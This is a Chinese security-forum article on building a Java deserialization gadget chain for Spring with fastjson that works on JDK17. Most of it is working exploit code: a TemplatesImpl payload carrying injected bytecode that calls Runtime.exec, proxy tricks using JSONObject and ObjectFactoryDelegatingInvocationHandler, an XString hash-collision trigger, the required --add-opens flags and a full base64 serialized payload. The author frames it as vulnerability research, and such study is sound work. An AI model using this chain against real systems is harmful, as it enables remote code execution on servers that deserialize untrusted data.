问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
spring+fastjosn 杀穿jdk gadegt
至此在spring+fj的依赖下,我们得到了一条jdk8生成在jdk17可用且不用考虑serid带来影响的类加载链子。
0x01 前提 ------- 最近出了spring下的jdk17 template链。其主要主要利用aop去代理javax.xml.transform.Templates, 这样在出发getoutputProperties时,moudle就是变为了javax.xml.transform 在一个包下,绕过了moudle限制。  在不使用aop代理的时候。 不在一个包下  可见核心就是使用JdkDynamicAopProxy去代理。 在测试过程中,我发现了高低版本spring的aop 会有 serid不一致的问题。而且由于一般我们都是用jdk8的工具去生成反序列化数据。   然么这个问题该怎么解决了  使用chains得serdunmp 解析了修改后在重新build。 但是在继续测试时, 发现了tostring头的serid也不一致 ```php eventtostring ```  ```php UIDefaults$TextAndMnemonicHashMap2tostring ```  ```php BadAttributeValueExpException 在jdk17 也g了 ```  怎么解决了? 我们知道jdk17绕过主利用动态代理,也就是我们完全可以换一下  直接使用cb利用chains的强大拼接功能就可以解决。直接cb打穿jdk!!! 也可以是用cc里面的tostring去出发,这些也在chains里有。利用cc(**全版本通用**)的CaseInsensitiveMap去出发,借助于第三方依赖来进行tostring,这样就不会有serid的问题  ```java //cc4 换org.apache.commons.collections4.map.CaseInsensitiveMap Map s = (Map) utils.createWithoutConstructor("org.apache.commons.collections.map.CaseInsensitiveMap"); Class<?> nodeB; nodeB = Class.forName("org.apache.commons.collections.map.AbstractHashedMap$HashEntry"); Constructor<?> nodeCons = nodeB.getDeclaredConstructor(nodeB, int.class, Object.class, Object.class); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeB, 1); Array.set(tbl, 0, nodeCons.newInstance(null, 0, toStringObj, toStringObj)); utils.setFieldValue(s, "data", tbl); utils.setFieldValue(s, "size", 1); ``` 具体构造如上。 但是这样都不太符合懒人选择,要选来选去,还要考虑jdk带来的serid 影响。 ### 0x02 分析 so? 我们肯定是希望找一个在jdk8和在jdk17上 serid都一致的出发头,最后不依赖第三方,这也是为了以后方便拼接。所以com.sun.org.apache.xpath.internal.objects.XString就来了。 com.sun.org.apache.xpath.internal.objects.XString   他们的serid以及子类是一样的。 也就是我们只需要利用xstring的equals来出发tostring就好了。也就是把hascode搞一致就行了 ```java Class<?> aClass1 = Class.forName("com.sun.org.apache.xpath.internal.objects.XStringForChars"); Object xstring = utils.createWithoutConstructor(aClass1); utils.setFieldValue(xstring,"m_obj",new char[]{}); HashMap hashMap1 = new HashMap(); HashMap hashMap2 = new HashMap(); //zZ,yy 也行 hashMap1.put("通话",xstring); hashMap1.put("重地",node); hashMap2.put("重地",xstring); hashMap2.put("通话",node); HashMap map = utils.makeMap(hashMap1, hashMap2); ``` 总结一下就是这样就行了,两个map的hashcode会一致,进而出发**xstring.equals.node**。这样我们在jdk8生成的序列化就可以在jdk17上用了。 现在就是aop高低版本下的serid不一致。或者我们不妨在限制一下 ```php org.springframework.aop.framework.JdkDynamicAopProxy ``` 在黑名单的情况(许多产品的黑名单里常客。) ### 0x03 spring+fj 这里也发现可以用org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler来进行替代,它在高低版本的sprinh中也没有serid的问题(**我测试高低版本没有,aop是会包serid不一致**)   ObjectFactory接口的getter然后会返回一个泛型T。 也就是我们使用这个ObjectFactoryDelegatingInvocationHandler去javax.xml.transform.Templates, 然后在**objectFactory.getObject()**返回一个**templatesImpl**就可以达到和aop代理一样的效果了。  但是显然在spring里是没有的。但是它也是个接口,还可以通过动态代理来返回templatesImpl对象 在查找资料的时候发现了补天社区有大哥文章中有现成的。 com.alibaba.fastjson.JSONObject#invoke  它会从map中获取vaule,然后调用TypeUtils.cast进行强转后返回。method.getGenericReturnType()它会获取强转的类型。 最巧的来了  利用jsonobject代理ObjectFactory接口 那么然后强转的就是T,也就是可以成功返回一个templatesImpl对象,不会导致强转类型失败。 整理一下代码 ```java HashMap hashMap = new HashMap<>(); hashMap.put("object", templates); JSONObject jsonObject = new JSONObject(hashMap); Object o2 = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),new Class[]{ObjectFactory.class},jsonObject); Object inv = utils.createWithoutConstructor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); utils.setFieldValue(inv, "objectFactory", o2); Object o = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),new Class[]{Templates.class},(InvocationHandler)inv); JSONArray objects = new JSONArray(); objects.add(o); XString xstring=new XString(""); HashMap hashMap1 = new HashMap(); HashMap hashMap2 = new HashMap(); hashMap1.put("通话",xstring); hashMap1.put("重地",objects); hashMap2.put("重地",xstring); hashMap2.put("通话",objects); HashMap map = utils.makeMap(hashMap1, hashMap2); ``` ### 0x04 坑 我们知道fastjson在1.2.48以后原生序列化是有了自己的readObject。  SecureObjectInputStream重写了resolveClass,调用了`checkAutoType`检查。 具体原理可以查看y4tacker师傅的博客  在jdk8下生成好数据后,  jdk17下 还是调用不了。 简单说明一下原因 com.alibaba.fastjson.JSONObject#readObject  com.alibaba.fastjson.JSONObject.SecureObjectInputStream  fj的SecureObjectInputStream 在反序列的时候使用了反射,但是由于没有导包,然后没有预期的绕过。所以我们加上**--add-opens java.base/java.io=ALL-UNNAMED**即可。    基本上高jdk的web应用都会开发这个包.  开放包后,再次执行 成功弹出。 至此在spring+fj的依赖下,我们得到了一条在jdk17可用且不用考虑serid带来影响的链子。 完整代码 导包 ```php --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED ``` ```java package com.unam4.test; import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONObject; import com.unam4.utils; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import org.springframework.beans.factory.ObjectFactory; import javax.xml.transform.Templates; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.ArrayList; import java.util.Base64; import java.util.HashMap; public class jdk17templatefj { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec(\"open .\");"; cc.makeClassInitializer().insertBefore(cmd); byte[] classBytes = cc.toBytecode(); CtClass ctClass1 = pool.makeClass("Foo"); Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Object templates = utils.createWithoutConstructor(aClass); utils.setFieldValue(templates,"_name","n1ght"); utils.setFieldValue(templates,"_bytecodes", new byte[][] {classBytes, ctClass1.toBytecode()}); HashMap hashMap = new HashMap<>(); hashMap.put("object", templates); JSONObject jsonObject = new JSONObject(hashMap); Object o2 = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),new Class[]{ObjectFactory.class},jsonObject); Object inv = utils.createWithoutConstructor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); utils.setFieldValue(inv, "objectFactory", o2); Object o = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),new Class[]{Templates.class},(InvocationHandler)inv); JSONArray objects = new JSONArray(); objects.add(o); Class<?> aClass1 = Class.forName("com.sun.org.apache.xpath.internal.objects.XStringForChars"); Object xstring = utils.createWithoutConstructor(aClass1); utils.setFieldValue(xstring,"m_obj",new char[]{}); HashMap hashMap1 = new HashMap(); HashMap hashMap2 = new HashMap(); hashMap1.put("通话",xstring); hashMap1.put("重地",objects); hashMap2.put("重地",xstring); hashMap2.put("通话",objects); HashMap map = utils.makeMap(hashMap1, hashMap2); ArrayList arrayList = new ArrayList<>(); arrayList.add(templates); arrayList.add(o); arrayList.add(map); byte[] serialize = utils.serialize(arrayList); utils.unserialize(Base64.getDecoder().decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAADdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAAAAAAB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAABUsr+ur4AAAA0ABkBAANDYXQHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACENhdC5qYXZhAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlAQARamF2YS9sYW5nL1J1bnRpbWUHAAoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAMAA0KAAsADgEABm9wZW4gLggAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAGPGluaXQ+DAAWAAgKAAQAFwAhAAIABAAAAAAAAgAIAAcACAABAAkAAAAWAAIAAAAAAAq4AA8SEbYAFVexAAAAAAABABYACAABAAkAAAARAAEAAQAAAAUqtwAYsQAAAAAAAQAFAAAAAgAGdXEAfgAKAAAAlsr+ur4AAAA0AAwBAANGb28HAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACEZvby5qYXZhAQAGPGluaXQ+AQADKClWDAAHAAgKAAQACQEABENvZGUAIQACAAQAAAAAAAEAAQAHAAgAAQALAAAAEQABAAEAAAAFKrcACrEAAAAAAAEABQAAAAIABnB0AAVuMWdodHB3AQB4c30AAAABAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyAGBvcmcuc3ByaW5nZnJhbWV3b3JrLmJlYW5zLmZhY3Rvcnkuc3VwcG9ydC5BdXRvd2lyZVV0aWxzJE9iamVjdEZhY3RvcnlEZWxlZ2F0aW5nSW52b2NhdGlvbkhhbmRsZXLq9unb4jygewIAAUwADW9iamVjdEZhY3Rvcnl0ADFMb3JnL3NwcmluZ2ZyYW1ld29yay9iZWFucy9mYWN0b3J5L09iamVjdEZhY3Rvcnk7eHBzfQAAAAEAL29yZy5zcHJpbmdmcmFtZXdvcmsuYmVhbnMuZmFjdG9yeS5PYmplY3RGYWN0b3J5eHEAfgAPc3IAH2NvbS5hbGliYWJhLmZhc3Rqc29uLkpTT05PYmplY3QAAAAAAAAAAQIAAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAF0AAZvYmplY3RxAH4AB3hzcQB+ABo/QAAAAAAAAHcIAAAAAgAAAAJzcQB+ABo/QAAAAAAADHcIAAAAEAAAAAJ0AAbpgJror51zcgAxY29tLnN1bi5vcmcuYXBhY2hlLnhwYXRoLmludGVybmFsLm9iamVjdHMuWFN0cmluZxwKJztIFsX9AgAAeHIAMWNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5vYmplY3RzLlhPYmplY3T0mBIJu3u2GQIAAUwABW1fb2JqdAASTGphdmEvbGFuZy9PYmplY3Q7eHIALGNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5FeHByZXNzaW9uB9mmHI2srNYCAAFMAAhtX3BhcmVudHQAMkxjb20vc3VuL29yZy9hcGFjaGUveHBhdGgvaW50ZXJuYWwvRXhwcmVzc2lvbk5vZGU7eHBwdAAAdAAG6YeN5Zywc3IAHmNvbS5hbGliYWJhLmZhc3Rqc29uLkpTT05BcnJheQAAAAAAAAABAgABTAAEbGlzdHQAEExqYXZhL3V0aWwvTGlzdDt4cHNxAH4AAAAAAAF3BAAAAAFxAH4AEXh4dAAEa2V5MXNxAH4AGj9AAAAAAAAMdwgAAAAQAAAAAnEAfgAncQB+ACVxAH4AH3EAfgAqeHQABGtleTJ4eA==")); } } ``` ### refence <https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/> <https://forum.butian.net/share/4153> <https://github.com/vulhub/java-chains>
发表于 2025-09-17 10:00:57
阅读 ( 295 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
Unam4
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!